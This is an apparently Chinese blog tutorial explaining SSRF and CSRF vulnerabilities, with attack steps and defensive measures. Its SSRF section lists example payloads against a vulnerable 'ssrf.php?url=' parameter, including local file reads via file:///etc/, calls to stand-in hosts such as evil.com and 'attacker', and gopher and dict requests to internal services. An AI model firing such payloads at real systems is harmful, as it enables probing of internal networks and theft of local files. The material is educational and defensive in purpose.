基础_请求伪造漏洞
服务器端请求伪造(SSRF)漏洞
SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF 攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。
SSRF 的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
例如,黑客操作服务端从指定 URL 地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF 利用存在缺陷的 Web 应用作为代理攻击远程和本地的服务器。
主要攻击方式如下所示:
- 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息。
- 攻击运行在内网或本地的应用程序。
- 对内网 Web 应用进行指纹识别,识别企业内部的资产信息。
- 攻击内外网的 Web 应用,主要是使用 HTTP GET 请求就可以实现的攻击(比如 struts2、SQli 等)。
- 利用 file 协议读取本地文件等。
利用方式
http
ssrf.php?url=http://127.0.0.1:8080
ftp
ssrf.php?url=ftp://evil.com:12345/TEST
file
ssrf.php?url=file:///etc/password
Dict
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP
ssrf.php?url=sftp://example.com:11111/
TFTP
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher
ssrf.php?url=gopher://127.0.0.1:3306
防御方式
1.禁止跳转。
2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果 web 应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
3.禁用不需要的协议,仅仅允许 http 和 https 请求。可以防止类似于 file://, gopher://, ftp:// 等引起的问题。
4.设置 URL 白名单或者限制内网 IP(使用 gethostbyname()判断是否为内网 IP)。
5.限制请求的端口为 http 常用的端口,比如 80、443、8080、8090。
6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
跨站请求伪造攻击(CSRF)漏洞
简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了 web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
利用方式
1、用户打开浏览器,访问登陆受信任的 A 网站
2、在用户信息通过验证后,服务器会返回一个 cookie 给浏览器,用户登陆网站 A 成功,可以正常发送请求到网站 A
3、用户未退出网站 A,在同一浏览器中,打开一个危险网站 B
4、网站 B 收到用户请求后,返回一些恶意代码,并发出请求要求访问网站 A
5、浏览器收到这些恶意代码以后,在用户不知情的情况下,利用 cookie 信息,向网站 A 发送恶意请求,网站 A 会根据 cookie 信息以用户的权限去处理该请求,导致来自网站 B 的恶意代码被执行
![[Pasted image 20230414162450.png]]
防御方式
1.增加 Token 验证(常用做法)
对关键操作增加 Token 参数,token 必须随机,每次都不一样
2 关于安全的会话管理(避免会话被利用)
不要在客户端保存敏感信息(比如身份验证信息)
退出、关闭浏览器时的会话过期机制
设置会话过机制,比如 15 分钟无操作,则自动登录超时
3 访问控制安全管理
敏感信息的修改时需要身份进行二次认证,比如修改账号密码,需要判断旧 密码
敏感信息的修改使用 POST,而不是 GET
通过 HTTP 头部中的 REFERER 来限制原页面
4 增加验证码
一般在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构